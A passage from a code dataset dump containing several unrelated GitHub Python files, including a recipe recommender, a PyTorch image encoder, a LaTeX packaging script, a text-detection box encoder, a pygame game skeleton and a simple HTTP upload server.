xmlParser(\"/home/tsung/CODE/Information-Retrieval/data/pubmed_dengue3.xml\")\n","repo_name":"TsungHuaLee/Bio_Information_Retrievel","sub_path":"IR_HW/search/xmlParser.py","file_name":"xmlParser.py","file_ext":"py","file_size_in_byte":4377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"14314678288","text":"import time\nimport uuid\nfrom pathlib import Path\nfrom typing import Any, Dict, Iterable, List, Union\n\nimport numpy as np\nimport pandas as pd\nfrom annoy import AnnoyIndex\n\nfrom recipe_rec.utilities import get_dataset\n\n\ndef build_timer(f):\n \"\"\"\n Decorator used to measure the time to build a recommender system.\n \"\"\"\n\n def inner(self, *args, **kwargs):\n\n start: int = time.time_ns()\n\n f(self, *args, **kwargs)\n\n end: int = time.time_ns()\n\n self.build_time: int = end - start\n\n return inner\n\n\ndef rec_timer(f):\n \"\"\"\n Decorator used to measure the time for a system to produce a recommendation and\n updates the object's store of all recommendation execution times, re-calculating the average.\n \"\"\"\n\n def inner(self, *args, **kwargs):\n\n start: int = time.time_ns()\n\n ret: Any = f(self, *args, **kwargs)\n\n end: int = time.time_ns()\n\n self.rec_times[\"times\"].append(end - start)\n self.rec_times[\"avg\"] = sum(self.rec_times[\"times\"]) / len(\n self.rec_times[\"times\"]\n )\n\n return ret\n\n return inner\n\n\nclass RecommenderSystem:\n \"\"\"\n A base class for recipe recommender systems.\n \"\"\"\n\n # recipes = store[\"recipes\"]\n # unique_ingredients = store[\"unique_ingredients\"]\n\n def __init__(self) -> None:\n\n # common attributes among all systems\n self.recipes = get_dataset()\n\n # unique ID for the class' instantiation\n self.execution_id: str = str(uuid.uuid4().hex)\n # filepaths of associated disk data\n self.disk_data: Dict[str, Path] = {}\n\n self.rec_times: Dict[str, Union[List[int], float]] = {\"times\": [], \"avg\": 0.0}\n\n def build_ingredient_index(self, num_trees: int, out_path: Path) -> None:\n \"\"\"\n Builds an `AnnoyIndex` of ingredients, allowing for easy ingredient recommendation.\n\n Parameters:\n - `num_trees: int`: the number of trees to use when building the `AnnoyIndex`.\n - `out_path: pathlib.Path`: the filepath to write the `AnnoyIndex` to.\n\n \"\"\"\n\n ingredient_embeddings: List[np.array] = []\n # get vectors for each ingredient using recipe vectorizer\n for ingredient in self.unique_ingredients:\n\n ingredient_embed: np.array = self.recipe_vectorizer([ingredient])\n\n ingredient_embeddings.append(ingredient_embed)\n\n self.build_index(\n iterable=ingredient_embeddings,\n num_trees=num_trees,\n out_path=out_path,\n recipe_index=False,\n )\n\n def build_index(\n self,\n iterable: Iterable,\n num_trees: int,\n out_path: Union[Path, None],\n recipe_index: bool = True,\n ) -> None:\n \"\"\"\n Builds an `AnnoyIndex`, populating it using an iterable of vectors. The index of each vector in the iterable is used\n as its index in the index. The resulting index is written to disk if `out_path` is not `None`.\n\n Parameters:\n - `iterable: Iterable`: an iterable containing vectors to write into the `AnnoyIndex`.\n - `num_trees: int`: the number of trees to use when constructing the `AnnoyIndex`.\n - `out_path: Union[Path, None]`: the filepath to write the `AnnoyIndex` to. If `None`, the index is not written to disk.\n - `recipe_index: bool = True`: if `True`, the index is set as the class' `recipe_index` attribute. Otherwise, the index is an\n ingredient index and is set as the class' `ingredient_index` attribute`.\n \"\"\"\n\n # create index using class attributes\n index: AnnoyIndex = AnnoyIndex(self.vec_size, self.index_distance_metric)\n\n # populate index\n for i, v in enumerate(iterable):\n index.add_item(i, v)\n\n # build and save\n index.build(num_trees)\n\n if out_path is not None:\n\n # convert to str; annoy doesn't support pathlib\n out_path_str = out_path.absolute().as_posix()\n index.save(out_path_str)\n\n # set to relevant class attribute\n if recipe_index:\n self.recipe_index: AnnoyIndex = index\n else:\n self.ingredient_index: AnnoyIndex = index\n\n def load_index(self, index_path: Path, recipe_index: bool = True) -> None:\n \"\"\"\n Loads an `AnnoyIndex` from disk and sets it as the appropriate class attribute.\n\n Parameters:\n - `index_path: pathlib.Path`: the path to load the `AnnoyIndex` from.\n - `recipe_index: bool = True`: if True, the index is stored at the `recipe_index` of the class. Otherwise, the index is\n stored at the `ingredient_index` attribute.\n \"\"\"\n\n index_path_str = index_path.absolute().as_posix()\n\n index: AnnoyIndex = AnnoyIndex(self.vec_size, self.index_distance_metric)\n index.load(index_path_str)\n\n if recipe_index:\n self.recipe_index = index\n else:\n self.ingredient_index = index\n\n @rec_timer\n def get_recommendations(\n self,\n recipe: List[str],\n n_recommendations: int = 10,\n search_id: int = None,\n get_recipes: bool = True,\n ) -> Union[pd.DataFrame, List[str]]:\n \"\"\"\n Creates a recipe vector from a list of ingredients and queries the Annoy index for the `n_recommendations` nearest neighbours.\n Raises a `KeyError` if the recipe cannot be vectorized.\n\n Parameters\n - `recipe`: `List[str]`: a list of string ingredients\n - `n_recommendations`: `int = 10`: the number of recommendations to return\n - `search_id: int = None`: the index of the querying recipe. If not `None`, this recipe will not be returned as a recommendation.\n - `get_recipes: bool = True`: if True, recommends recipes; if False, reccommends ingredients\n Returns:\n - `Union[pd.DataFrame, List[str]`, a sorted DataFrame of the recommended recipes, or a list of recommended ingredients.\n \"\"\"\n\n try:\n\n # get the vector of the recipe\n recipe_vec: np.array = self.recipe_vectorizer(recipe)\n\n if get_recipes:\n # get closest vectors from the dataset\n rec_indexes: List[int] = self.recipe_index.get_nns_by_vector(\n recipe_vec, n_recommendations\n )\n\n else:\n # get closest vectors from the ingredients dataset\n rec_indexes: List[int] = self.ingredient_index.get_nns_by_vector(\n recipe_vec, n_recommendations\n )\n\n # if there is a search id\n if search_id is not None:\n\n # if the search is in the results\n if search_id in rec_indexes:\n\n if get_recipes:\n # get another recommenation (shouldn't be the same one again)\n rec_indexes = self.recipe_index.get_nns_by_vector(\n recipe_vec, n_recommendations + 1\n )\n else:\n # get another recommenation (shouldn't be the same one again)\n rec_indexes = self.ingredient_index.get_nns_by_vector(\n recipe_vec, n_recommendations + 1\n )\n # filter out the search query\n rec_indexes = [rec for rec in rec_indexes if rec != search_id]\n\n if get_recipes:\n # map recommendations to recipes\n recs: pd.DataFrame = self.recipes.iloc[rec_indexes].copy()\n else:\n # map recommendations to ingredients\n recs: List[str] = [self.unique_ingredients[i] for i in rec_indexes]\n\n return recs\n\n except KeyError:\n raise ValueError(\n \"One of the given ingredients did not exist in the training dataset.\"\n )\n","repo_name":"jakekadir/diss","sub_path":"recipe_rec/recommender_system.py","file_name":"recommender_system.py","file_ext":"py","file_size_in_byte":7969,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"21293388240","text":"import torch\nimport torch.nn as nn\n\nclass CNN_Encoder(torch.nn.Module):\n \"\"\"\n Basic logistic regression on 3x244x244 images.\n \"\"\"\n\n def __init__(self, units, embedding_dim, dropout_pct=0, \n model_name='resnet18', freeze_CNN=True):\n super().__init__()\n self.conv = nn.Conv2d(3, 3, kernel_size=7, stride=2, padding=3)\n tempmodel = torch.hub.load('pytorch/vision:v0.9.0', model_name, \n pretrained=True)\n\n if freeze_CNN: # freezing the transfer learning model params\n for param in tempmodel.parameters():\n param.requires_grad = False\n \n self.resnet = torch.nn.Sequential(*(list(tempmodel.children())[:-1]))\n self.fc1 = nn.Linear(units, units)\n self.relu = nn.ReLU()\n self.dropout = nn.Dropout(p=dropout_pct)\n self.bnfc1 = nn.BatchNorm1d(units)\n self.fc2 = nn.Linear(units, embedding_dim)\n\n\n def forward(self, x):\n unsqueeze_bool = False\n if(x.shape[0]) == 1:\n unsqueeze_bool = True\n x = self.relu(self.conv(x))\n x = self.resnet(x)\n x = torch.squeeze(x) # flatten\n if unsqueeze_bool:\n x = torch.unsqueeze(x, 0)\n x = self.fc1(x)\n x = self.relu(x)\n #print(x.shape)\n x = self.bnfc1(self.dropout(x))\n x = self.fc2(x)\n return x","repo_name":"amanongithub7/bias-in-caption-generation","sub_path":"image-caption-generator/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"}
+{"seq_id":"70000932072","text":"#!/usr/bin/env python3\n\"\"\"\nMake a distributable .zip file for a .tex source.\n\nThe .zip file includes all files that are used by the root .tex source. Users\nshould be able to compile the document using only the files in the .zip and\nstandard LaTeX packages.\n\nSome mild cleaning is performed on the source file, in particular removing any\n\\\\graphicspath commands and adjusting \\\\bibliography commands if an xbib\nfile is provided.\n\"\"\"\nimport sys\nimport os\nimport argparse\nimport subprocess\nimport re\nimport zipfile\n\nparser = argparse.ArgumentParser(add_help=False, epilog=__doc__)\nparser.add_argument(\"--help\", action=\"help\", help=\"print help\")\nparser.add_argument(\"--include-texmf-home\", action=\"store_true\",\n help=\"include files in user's texmf home directory\")\nparser.add_argument(\"--xbib\",\n help=\"extracted .bib file to use in bibliographies\")\nparser.add_argument(\"--output\", help=\"name for output .zip file\")\nparser.add_argument(\"texfile\", help=\".tex file to distribute\")\n\ndef getincludedfiles(texbase, texmfhome=False, bib=False):\n \"\"\"Returns a list of included files by reading a .fls file.\"\"\"\n # Grab all raw filenames.\n rawfiles = set()\n with open(texbase + \".fls\", \"r\") as fls:\n for line in fls:\n (prefix, file) = line.strip().split(\" \", maxsplit=1)\n if prefix == \"INPUT\":\n rawfiles.add(file)\n \n # Choose which files to keep.\n texdir = os.path.dirname(texbase)\n keepexts = {\".sty\", \".cls\", \".tex\", \".pdf\"}\n if bib:\n keepexts.add(\".bib\")\n if texmfhome:\n texmfhome = kpsewhich(\"--var-val\", \"TEXMFHOME\")\n else:\n texmfhome = None\n files = []\n for file in rawfiles:\n (_, fileext) = os.path.splitext(file)\n if fileext in keepexts:\n filedir = os.path.dirname(file)\n if filedir == \"\" or filedir.startswith(\".\"):\n files.append(os.path.join(texdir, file))\n elif texmfhome is not None:\n if file.startswith(texmfhome):\n files.append(file)\n \n # Do not include base .tex file.\n texbase = texbase + \".tex\"\n if texbase in files:\n files.remove(texbase)\n return files\n\n\ndef kpsewhich(*args):\n \"\"\"Runs kpsewhich and returns output.\"\"\"\n kpsewhich = subprocess.run([\"kpsewhich\"] + list(args),\n stdout=subprocess.PIPE)\n output = kpsewhich.stdout.decode().strip()\n return output\n\n\ndef maketexdist(texfile, output=None, include_texmf_home=False, xbib=None):\n \"\"\"Makes a distributable .zip file for a .tex source.\"\"\"\n (texbase, ext) = os.path.splitext(texfile)\n if ext != \".tex\":\n raise ValueError(\"File '{}' is not a .tex file!\".format(texfile))\n if output is None:\n output = texbase + \".zip\"\n \n # Get files to copy and write to .zip.\n includedfiles = getincludedfiles(texbase, texmfhome=include_texmf_home)\n with zipfile.ZipFile(output, \"w\") as dist:\n # Standard included files.\n for file in includedfiles:\n filebase = os.path.basename(file)\n dist.write(file, filebase)\n \n # xbib file.\n if xbib is not None:\n xbibname = os.path.splitext(os.path.basename(xbib))[0] + \".bib\"\n dist.write(xbib, xbibname)\n \n # Cleaned .tex file.\n dist.writestr(os.path.basename(texfile),\n \"\".join(cleantexfile(texfile, xbib=xbib)))\n \n\ndef cleantexfile(texfile, xbib=None):\n \"\"\"Cleans a source .tex file for distribution. Returns a generator.\"\"\"\n if xbib is not None:\n (xbib, _) = os.path.splitext(os.path.split(xbib)[1])\n with open(texfile, \"r\") as tex:\n for line in tex:\n sline = line.lstrip()\n if sline.startswith(\"\\\\graphicspath\"):\n line = \"\"\n if xbib is not None:\n line = re.sub(r\"(\\\\bibliography|\\\\addbibresource)\\{.*\\}\",\n r\"\\1{%s}\" % xbib, line)\n yield line\n\n\ndef main(args):\n \"\"\"Runs main function.\"\"\"\n args = vars(parser.parse_args(args))\n maketexdist(**args)\n\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"rdmcallister/mimpc_cls_talk","sub_path":"script/maketexdist.py","file_name":"maketexdist.py","file_ext":"py","file_size_in_byte":4182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"18292633970","text":"'''Encode object boxes and labels.'''\nimport math\nimport torch\nimport numpy as np\nimport cv2\n\nfrom tools.utils import meshgrid, box_iou, change_box_order, softmax,select_top_predictions,convert_angle_into_polygons,convert_angle_into_polygons_and_refine_Diamond_box\nfrom tools.nms_poly import non_max_suppression_poly\nclass DataEncoder:\n def __init__(self, cls_thresh=0.3, nms_thresh=0.1,input_size=768):\n # self.anchor_areas = [32*32., 48*48., 64*64., 96*96., 128*128., 176*176.] #USTB-SV1K\n # self.aspect_ratios = [1., 2., 3., 4., 5., 1. / 3., 1. / 5., 7.]\n # self.anchor_areas = [24 * 24., 64 * 64., 144 * 144., 224 * 224., 304 * 304., 384 * 384.] #MLT-1536\n # self.anchor_areas = [20 * 20., 52 * 52., 120 * 120., 186 * 186., 254 * 254., 320 * 320.] #MLT-1280\n # self.anchor_areas = [16 * 16., 32 * 32., 64 * 64., 128 * 128., 256 * 256, 512 * 512.] #ICDAR2013-768\n # self.anchor_areas = [12 * 12., 32 * 32., 72 * 72., 112 * 112., 152 * 152., 192 * 192.] #MLT-768\n self.anchor_areas = [16 * 16., 32 * 32., 64 * 64., 128 * 128., 256 * 256, 512 * 512.] #MPSC-768,MSRA-TD500-768\n self.aspect_ratios = [1., 2., 3., 5., 1. / 2., 1. / 3., 1. / 5., 7.]\n self.input_size=torch.Tensor([input_size, input_size])\n self.anchor_wh = self._get_anchor_wh()\n self.anchor_rect_boxes = self._get_anchor_boxes(self.input_size)\n self.anchor_quad_boxes = change_box_order(self.anchor_rect_boxes, \"xywh2quad\")\n self.cls_thresh = cls_thresh\n self.nms_thresh = nms_thresh\n def _get_anchor_wh(self):\n '''Compute anchor width and height for each feature map.\n\n Returns:\n anchor_wh: (tensor) anchor wh, sized [#fm, #anchors_per_cell, 2].\n '''\n anchor_wh = []\n for s in self.anchor_areas:\n for ar in self.aspect_ratios: # w/h = ar\n anchor_h = math.sqrt(s/ar)\n anchor_w = ar * anchor_h\n anchor_wh.append([anchor_w, anchor_h])\n\n num_fms = len(self.anchor_areas)\n return torch.FloatTensor(anchor_wh).view(num_fms, -1, 2)\n\n def _get_anchor_boxes(self, input_size):\n '''Compute anchor boxes for each feature map.\n\n Args:\n input_size: (tensor) model input size of (w,h).\n\n Returns:\n boxes: (list) anchor boxes for each feature map. Each of size [#anchors,4],\n where #anchors = fmw * fmh * #anchors_per_cell\n '''\n num_fms = len(self.anchor_areas)\n fm_sizes = [(input_size/pow(2,i+2)).ceil() for i in range(num_fms)] # p2 -> p7 feature map sizes\n\n boxes = []\n for i in range(num_fms):\n fm_size = fm_sizes[i]\n grid_size = input_size / fm_size\n fm_w, fm_h = int(fm_size[0]), int(fm_size[1])\n #fm_w *= 2 # add vertical offset\n xy = meshgrid(fm_w,fm_h) + 0.5 \n xy = (xy*grid_size).view(fm_w,fm_h,1,2).expand(fm_w,fm_h,len(self.aspect_ratios),2)\n\n wh = self.anchor_wh[i].view(1,1,len(self.aspect_ratios),2).expand(fm_w,fm_h,len(self.aspect_ratios),2)\n box = torch.cat([xy,wh], 3) # [x,y,w,h]\n boxes.append(box.view(-1,4))\n return torch.cat(boxes, 0)\n def encode(self, gt_quad_boxes, labels, input_size):\n '''Encode target bounding boxes and class labels.\n\n TextBoxes++ quad_box encoder:\n tx_n = (x_n - anchor_x) / anchor_w\n ty_n = (y_n - anchor_y) / anchor_h\n\n Args:\n gt_quad_boxes: (tensor) bounding boxes of (xyxyxyxy), sized [#obj, 8].\n labels: (tensor) object class labels, sized [#obj, ].\n input_size: (int/tuple) model input size of (w,h).\n\n Returns:\n loc_targets: (tensor) encoded bounding boxes, sized [#anchors,8].\n cls_targets: (tensor) encoded class labels, sized [#anchors,].\n '''\n gt_rect_boxes = change_box_order(gt_quad_boxes, \"quad2xyxy\")\n\n ious = box_iou(self.anchor_rect_boxes, gt_rect_boxes)\n max_ious, max_ids = ious.max(1)\n\n #Each anchor box matches the largest iou with the gt box\n gt_quad_boxes = gt_quad_boxes[max_ids] #(num_gt_boxes, 8)\n gt_rect_boxes = gt_rect_boxes[max_ids] #(num_gt_boxes, 4)\n\n # for Quad boxes\n anchor_boxes_hw = self.anchor_rect_boxes[:, 2:4].repeat(1, 4)\n loc_quad_yx = (gt_quad_boxes - self.anchor_quad_boxes) / anchor_boxes_hw\n\n #loc_targets = torch.cat([loc_rect_yx, loc_rect_hw, loc_quad_yx], dim=1) # (num_anchor, 12)\n loc_targets = loc_quad_yx\n cls_targets = labels[max_ids]\n\n cls_targets[max_ious<0.5] = -1 # ignore (0.4~0.5) : -1\n cls_targets[max_ious<0.4] = 0 # background (0.0~0.4): 0\n # positive (0.5~1.0) : 1\n return loc_targets, cls_targets\n def decode(self, loc_preds, cls_preds, input_size):\n '''Decode outputs back to bouding box locations and class labels.\n\n Args:\n loc_preds: (tensor) predicted locations, sized [#anchors, 8].\n cls_preds: (tensor) predicted class labels, sized [#anchors, ].\n input_size: (int/tuple) model input size of (w,h).\n\n Returns:\n boxes: (tensor) decode box locations, sized [#obj,8].\n labels: (tensor) class labels for each box, sized [#obj,].\n '''\n\n input_size = torch.Tensor([input_size,input_size]) if isinstance(input_size, int) \\\n else torch.Tensor(input_size)\n\n anchor_rect_boxes = self._get_anchor_boxes(input_size).cuda()\n anchor_quad_boxes = change_box_order(anchor_rect_boxes, \"xywh2quad\")\n\n quad_boxes = anchor_quad_boxes + anchor_rect_boxes[:, 2:4].repeat(1, 4) * loc_preds # [#anchor, 8]\n quad_boxes = torch.clamp(quad_boxes, 0, input_size[0])\n\n score, labels = cls_preds.sigmoid().max(1) # focal loss\n #score, labels = softmax(cls_preds).max(1) # OHEM+softmax\n\n # Classification score Threshold\n ids = score > self.cls_thresh\n ids = ids.nonzero().squeeze() # [#obj,]\n\n score = score[ids]\n labels = labels[ids]\n quad_boxes = quad_boxes[ids].view(-1, 4, 2)\n\n quad_boxes = quad_boxes.cpu().data.numpy()\n score = score.cpu().data.numpy()\n\n if len(score.shape) is 0:\n return quad_boxes, labels, score\n else:\n keep = non_max_suppression_poly(quad_boxes, score, self.nms_thresh)\n return quad_boxes[keep], labels[keep], score[keep]\n def refine(self, result, confidence_threshold,nms_thresh,GT_BOX_MARGIN):\n refine_loc=select_top_predictions(result,confidence_threshold)\n bboxes_np=refine_loc.bbox.data.cpu().numpy()\n bboxes_np[:, 2:4] /= GT_BOX_MARGIN\n score = refine_loc.get_field(\"scores\").detach().cpu().numpy()\n boxes=convert_angle_into_polygons(bboxes_np)\n keep = non_max_suppression_poly(boxes, score, nms_thresh)\n return boxes[keep],score[keep]\n def refine_score(self,result, confidence_threshold,nms_thresh,gts_preds,GT_BOX_MARGIN,input_size,lamda):\n num_classes=2\n refine_boxes = result.bbox.reshape(-1, num_classes * 5)\n ###limit size\n scores = result.get_field(\"scores\").reshape(-1, num_classes)\n device = scores.device\n result = []\n # Apply threshold on detection probabilities and apply NMS\n # Skip j = 0, because it's the background class\n inds_all = scores > confidence_threshold\n for j in range(1, num_classes):\n inds = inds_all[:, j].nonzero().squeeze(1)\n scores_j = scores[inds, j].cpu().detach().numpy()\n boxes_j = refine_boxes[inds, j * 5: (j + 1) * 5].cpu().detach().numpy()\n boxes_j[:, 2:4] /= GT_BOX_MARGIN\n #boxes = convert_angle_into_polygons_and_refine_Diamond_box(boxes_j)\n boxes = convert_angle_into_polygons(boxes_j)\n boxes = np.clip(boxes, 0, input_size)\n score=scores_j\n \"\"\"Re_score\"\"\"\n gts = gts_preds[1, :, :].sigmoid().cpu().detach().numpy()\n quad_boxes_rescore = boxes / 4\n polys = np.array(quad_boxes_rescore).reshape((-1, 4, 2)).astype(np.int32)\n if polys.shape[0] == 1:\n text_mask = np.zeros((input_size//4, input_size//4), dtype=np.uint8)\n text_mask = cv2.fillPoly(text_mask, [polys[0]], 1)\n gts_score = (gts * text_mask).sum() / text_mask.sum()\n rescore = 2 * np.exp(gts_score + score) / (np.exp(gts_score) + np.exp(score))\n else:\n rescore = []\n for i, poly in enumerate(polys):\n # generate text mask for per text region poly\n text_mask = np.zeros((input_size//4, input_size//4), dtype=np.uint8)\n text_mask = cv2.fillPoly(text_mask, [poly], 1)\n gts_score = (gts * text_mask).sum() / text_mask.sum()\n rescore.append(np.exp(score[i]) * (1 + lamda * np.exp(gts_score) / np.exp(1 - gts_score)))\n score = np.array(rescore)\n print(boxes.shape)\n keep = non_max_suppression_poly(boxes, score, nms_thresh)\n return boxes[keep], score[keep]\n\n\n","repo_name":"TongkunGuan/RFN","sub_path":"tools/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":9204,"program_lang":"python","lang":"en","doc_type":"code","stars":78,"dataset":"github-code","pt":"72"}
+{"seq_id":"34666917008","text":"import pygame\nimport sys\n\nfrom states.start import Start\nfrom states.play import Play\nfrom states.gameover import GameOver\n\n\nclass Game:\n\n def __init__(self, name):\n self.name = name\n # make window resizable\n\n self.screen = pygame.display.set_mode((800, 600), pygame.RESIZABLE)\n pygame.display.set_caption(name)\n self.clock = pygame.time.Clock()\n self.state = Start(self)\n self.scaling_factor = 1\n self.origin = (0, 0)\n\n def run(self):\n while True:\n events = pygame.event.get()\n for event in events:\n # handle resize drag\n if event.type == pygame.VIDEORESIZE:\n self.resolution = event.size\n # handle quit\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n self.state = self.state.update(events)\n self.state.draw(self.screen)\n pygame.display.flip()\n self.clock.tick(60)\n\n @property\n def resolution(self):\n return self.screen.get_size()\n\n @resolution.setter\n def resolution(self, value):\n self.screen = pygame.display.set_mode(value, pygame.RESIZABLE)\n self.scaling_factor = min(value[0] / 800, value[1] / 600)\n self.origin = (value[0] / 2 - 400 * self.scaling_factor,\n value[1] / 2 - 300 * self.scaling_factor)\n\n def new_state(self, state_name):\n if state_name == \"gameover\":\n return GameOver(self)\n elif state_name == \"play\":\n return Play(self)\n elif state_name == \"start\":\n return Start(self)\n\n\n","repo_name":"dani0805/SpaceInvaders","sub_path":"src/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"}
+{"seq_id":"74233696872","text":"#!/usr/bin/env python3\n\n\"\"\"Simple HTTP Server With Folder Upload.\n\nThis module builds on SimpleHTTPServerWithUpload github gists [1] [2]\nand adds folder upload functionality by taking hints from stackoverflow\nanswer [3].\n\n+ Some other improvements and changes.\n+ Async server from [4]\n\n[1] https://gist.github.com/UniIsland/3346170\n[2] https://gist.github.com/touilleMan/eb02ea40b93e52604938\n[3] http://stackoverflow.com/a/37560550\n[4] https://gist.github.com/jdinhlife/1f2e142bbe8036b1a9716f41b8b11ed1\n\"\"\"\n#问题:保存的文件名中文乱码\n#解决:cgi.FieldStorage 出来的数据乱码\n# 默认windows使用gbk编码,而cgi使用了utf8编码,会导致编码损失,变成奇怪符号����boot.txt\n# cgi编码为encoding='utf-8',在传参的时候带上encoding='gbk',然后再重新decode成utf8\n# \n#\n#问题:网页文件夹和名称中文乱码\n#解决:(urllib.parse.quote(linkname), )).encode()+html.escape(displayname).encode(\"gbk\",\"ignore\")+'\\n'.encode())\n\n#问题:localhost正常访问,但127.0.0.1不能访问\n#解决:默认支支持ipv4,不支持ipv6,使用httpserver类似的DualStackServer即可解决\n\n__version__ = \"0.2\"\n__all__ = [\"SimpleHTTPRequestHandler\", \"ThreadingSimpleServer\",\"HTTPServer\", \"ThreadingHTTPServer\", ]\n__author__ = \"saaketp\"\n\nimport os\nimport posixpath\nimport http.server\nimport socketserver\nimport urllib.request, urllib.parse, urllib.error\nimport cgi\nimport shutil\nimport mimetypes\nfrom io import BytesIO\nimport argparse\nimport html\nimport socket\n\n# 获取本机所有 IP 地址\nimport socket\nhostname = socket.gethostname()\nprint ( \"Host name: %s\" %hostname)\nsysinfo = socket.gethostbyname_ex(hostname)\nip_addr = sysinfo[2]\nfor ip in ip_addr:\n print(ip)\n\n\n\nclass SimpleHTTPRequestHandler(http.server.BaseHTTPRequestHandler):\n\n \"\"\"Simple HTTP request handler with GET/HEAD/POST commands.\n\n This serves files from the current directory and any of its\n subdirectories. The MIME type for files is determined by\n calling the .guess_type() method. And can reveive file uploaded\n by client.\n\n The GET/HEAD/POST requests are identical except that the HEAD\n request omits the actual contents of the file.\n\n \"\"\"\n\n server_version = \"SimpleHTTPWithUpload/\" + __version__\n\n def do_GET(self):\n \"\"\"Serve a GET request.\"\"\"\n f = self.send_head()\n if f:\n self.copyfile(f, self.wfile)\n f.close()\n\n def do_HEAD(self):\n \"\"\"Serve a HEAD request.\"\"\"\n f = self.send_head()\n if f:\n f.close()\n\n def do_POST(self):\n \"\"\"Serve a POST request.\"\"\"\n r, info = self.deal_post_data()\n print((r, info, \"by: \", self.client_address))\n f = BytesIO()\n f.write(b'')\n f.write(b\"\\nUpload Result Page\\n\")\n f.write(b\"\\n
Upload Result Page
\\n\")\n f.write(b\"\\n\")\n if r:\n f.write(b\"Success:\")\n else:\n f.write(b\"Failed:\")\n f.write(info.encode())\n f.write((\" back\" % self.headers['referer']).encode())\n f.write(b\"\\n\\n\")\n length = f.tell()\n f.seek(0)\n self.send_response(200)\n self.send_header(\"Content-type\", \"text/html\")\n self.send_header(\"Content-Length\", str(length))\n self.end_headers()\n if f:\n self.copyfile(f, self.wfile)\n f.close()\n\n def save_file(self, file, folder):\n outpath = os.path.join(PATH, folder, file.filename)\n outpath1 = os.path.split(outpath)\n os.makedirs(outpath1[0], exist_ok=True)\n if os.path.exists(outpath):\n raise IOError\n with open(outpath, 'wb') as fout:\n shutil.copyfileobj(file.file, fout, 100000)\n\n def deal_post_data(self):\n form = cgi.FieldStorage(fp=self.rfile,\n headers=self.headers,encoding='gbk',\n environ={'REQUEST_METHOD': 'POST'})\n folder = urllib.parse.urlparse(form.headers['Referer']).path[1:]\n saved_fns = \"\"\n try:\n if isinstance(form['file'], list):\n for f in form['file']:\n if f.filename != '':\n saved_fns += \", \" + f.filename\n self.save_file(f, folder)\n else:\n f = form['file']\n if f.filename != '':\n self.save_file(f, folder)\n saved_fns += \", \" + f.filename\n if isinstance(form['dfile'], list):\n for f in form['dfile']:\n if f.filename != '':\n saved_fns += \", \" + f.filename\n self.save_file(f, folder)\n else:\n f = form['dfile']\n if f.filename != '':\n self.save_file(f, folder)\n saved_fns += \", \" + f.filename\n print(saved_fns)\n return (True, \"File(s) \"+saved_fns.encode(\"gbk\",\"ignore\").decode(\"utf-8\",\"ignore\")+\" upload success!\" )\n except IOError:\n return (False, \"Can't create file to write, permission denied?\")\n\n def send_head(self):\n \"\"\"Common code for GET and HEAD commands.\n\n This sends the response code and MIME headers.\n\n Return value is either a file object (which has to be copied\n to the outputfile by the caller unless the command was HEAD,\n and must be closed by the caller under all circumstances), or\n None, in which case the caller has nothing further to do.\n\n \"\"\"\n path = self.translate_path(self.path)\n f = None\n if os.path.isdir(path):\n if not self.path.endswith('/'):\n # redirect browser - doing basically what apache does\n self.send_response(301)\n self.send_header(\"Location\", self.path + \"/\")\n self.end_headers()\n return None\n for index in \"index.html\", \"index.htm\":\n index = os.path.join(path, index)\n if os.path.exists(index):\n path = index\n break\n else:\n return self.list_directory(path)\n ctype = self.guess_type(path)\n try:\n # Always read in binary mode. Opening files in text mode may cause\n # newline translations, making the actual size of the content\n # transmitted *less* than the content-length!\n f = open(path, 'rb')\n except IOError:\n self.send_error(404, \"File not found\")\n return None\n self.send_response(200)\n self.send_header(\"Content-type\", ctype)\n fs = os.fstat(f.fileno())\n self.send_header(\"Content-Length\", str(fs[6]))\n self.send_header(\"Last-Modified\", self.date_time_string(fs.st_mtime))\n self.end_headers()\n return f\n\n def list_directory(self, path):\n \"\"\"Helper to produce a directory listing (absent index.html).\n\n Return value is either a file object, or None (indicating an\n error). In either case, the headers are sent, making the\n interface the same as for send_head().\n\n \"\"\"\n try:\n list = os.listdir(path)\n except os.error:\n self.send_error(404, \"No permission to list directory\")\n return None\n list.sort(key=lambda a: a.lower())\n f = BytesIO()\n displaypath = html.escape(urllib.parse.unquote(self.path))\n f.write(b'')\n f.write((\"\\nDirectory listing for %s\\n\" % displaypath).encode(\"utf-8\"))\n f.write((\"\\n
\\n\")\n for name in list:\n fullname = os.path.join(path, name)\n displayname = linkname = name\n # Append / for directories or @ for symbolic links\n if os.path.isdir(fullname):\n displayname = name + \"/\"\n linkname = name + \"/\"\n if os.path.islink(fullname):\n displayname = name + \"@\"\n # Note: a link to a directory displays with @ and links with /\n #str = (urllib.parse.quote(linkname), html.escape(displayname))\n f.write(('